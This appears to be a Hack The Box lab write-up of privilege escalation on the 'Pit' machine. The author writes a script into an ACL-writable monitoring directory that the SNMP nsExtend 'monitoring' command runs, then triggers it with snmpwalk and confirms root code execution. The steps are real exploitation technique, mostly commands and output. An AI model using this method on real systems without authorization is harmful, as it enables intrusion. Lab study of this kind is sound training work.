nsExtendCommand


┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ snmpwalk -v 1 -c public $IP net-snmp-extend-mib::nsExtendCommand 
net-snmp-extend-mib::nsExtendCommand."memory" = STRING: /usr/bin/free
net-snmp-extend-mib::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor

earlier, i found out that the net-snmp-extend-mib::nsExtendCommand OID, “monitoring”, is executing a binary at /usr/bin/monitor

according to the documentation found in the Official RHEL website, the NET-SNMP-EXTEND-MIB MIB is an extension to Net-SNMP Agent that can be used to query arbitrary shell scripts. it is specified in the /etc/snmp/snmpd.conf file. once queried/appended/specified, those becomes individual net-snmp-extend-mib::nsExtendObjects OID that get executed every time SNMP gets called

in the current assessment, an unknown binary is being called from the net-snmp-extend-mib::nsExtendCommand.”monitoring” OID, pointing to /usr/bin/monitor

/usr/bin/monitor


[michelle@pit local]$ ll /usr/bin/monitor
-rwxr--r--. 1 root root 88 Apr 18  2020 /usr/bin/monitor
[michelle@pit local]$ cat /usr/bin/monitor
#!/bin/bash
 
for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done

The /usr/bin/monitor file is a Bash script that the following:

  • checks for check*sh files under the /usr/local/monitoring/ directory
  • execute them

/usr/local/monitoring with ACL


[michelle@pit local]$ ll /usr/local/monitoring
ls: cannot open directory '/usr/local/monitoring': Permission denied

I am unable to view the /usr/local/monitoring directory

[michelle@pit local]$ ll /usr/local/
total 0
[...REDACTED...]
 
drwxrwx---+ 2 root root 101 apr  7 13:45 monitoring
 
[...REDACTED...]

Checking the parent directory reveals that the directory has access control entries (ACEs) set; (+ sign in the permission bits area)

This must be what PEAS picked up earlier It showed that the michelle user has write and execute permissions to the directory, but unable to read

Let’s test the write permission

Code Execution


[michelle@pit monitoring]$ echo 'id' > /usr/local/monitoring/check_test.sh

I put a command, id, to test the code execution

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ snmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendOutLine
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".1 = STRING:               total        used        free      shared  buff/cache   available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".2 = STRING: Mem:        4023492      537080     2540292       46640      946120     3150152
NET-SNMP-EXTEND-MIB::nsExtendOutLine."memory".3 = STRING: Swap:       1961980           0     1961980
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING:                 Labeling   MLS/       MLS/                          
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: guest_u         user       s0         s0                             guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: user_u          user       s0         s0                             user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: xguest_u        user       s0         s0                             xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: Login Name           SELinux User         MLS/MCS Range        Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: __default__          unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: michelle             user_u               s0                   *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: root                 unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:snmpd_t:s0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING:  15:11:19 up 12:10,  4 users,  load average: 0.04, 0.06, 0.07
End of MIB

I specified the NET-SNMP-EXTEND-MIB::nsExtendOutLine OID in this case

The code execution is confirmed as uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:snmpd_t:s0 is printed out in the output

Although the execution was made with privileges of the root user, it seems that it is still under the influence of the security policy set by SELinux; context=system_u:system_r:snmpd_t:s0

Nevertheless, I should be able to escalate privileges this way